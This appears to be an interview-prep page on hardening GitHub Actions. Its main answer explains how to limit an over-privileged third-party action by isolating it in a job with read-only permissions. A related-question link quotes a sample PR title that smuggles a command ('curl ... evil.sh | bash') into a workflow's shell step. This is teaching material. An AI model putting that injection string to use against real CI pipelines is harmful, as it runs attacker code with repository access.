A third-party action requires `contents: write` but you only want it to read. What do you do?
IntermediateScenarioSecurity Hardening & Supply Chain
Answer
Situation read → Over-privileged dependency.
What I'd do →
- Read its code to understand why; often a feature you do not use (auto-commit).
- Run it in a separate job with
permissions: contents: readand see if it works with its write feature disabled. - If it truly needs write for a read use case, replace it.
Why → Granting write to a third-party action lets it modify your code or releases.
Interview tip → "Permissions are per job, so isolate risky actions in their own job."
More on Security Hardening & Supply Chain
You are asked to harden an existing repo's workflows in one week. What is your checklist?IntermediateA contributor's PR title is `"; curl -s https://evil.sh | bash; echo "` and your labeler workflow uses the title in `run:`. What happens and how do you fix it?IntermediateYour OSS project needs to run tests on fork PRs and post coverage comments. Design it safely.AdvancedA popular action you use was compromised and its tags repointed. What do you do in the first hour?AdvancedYou must prove that a container image in prod was built by your CI from a specific commit. How?AdvancedA developer wants to use a new Marketplace action with 40 stars for Slack notifications. How do you evaluate it?Beginner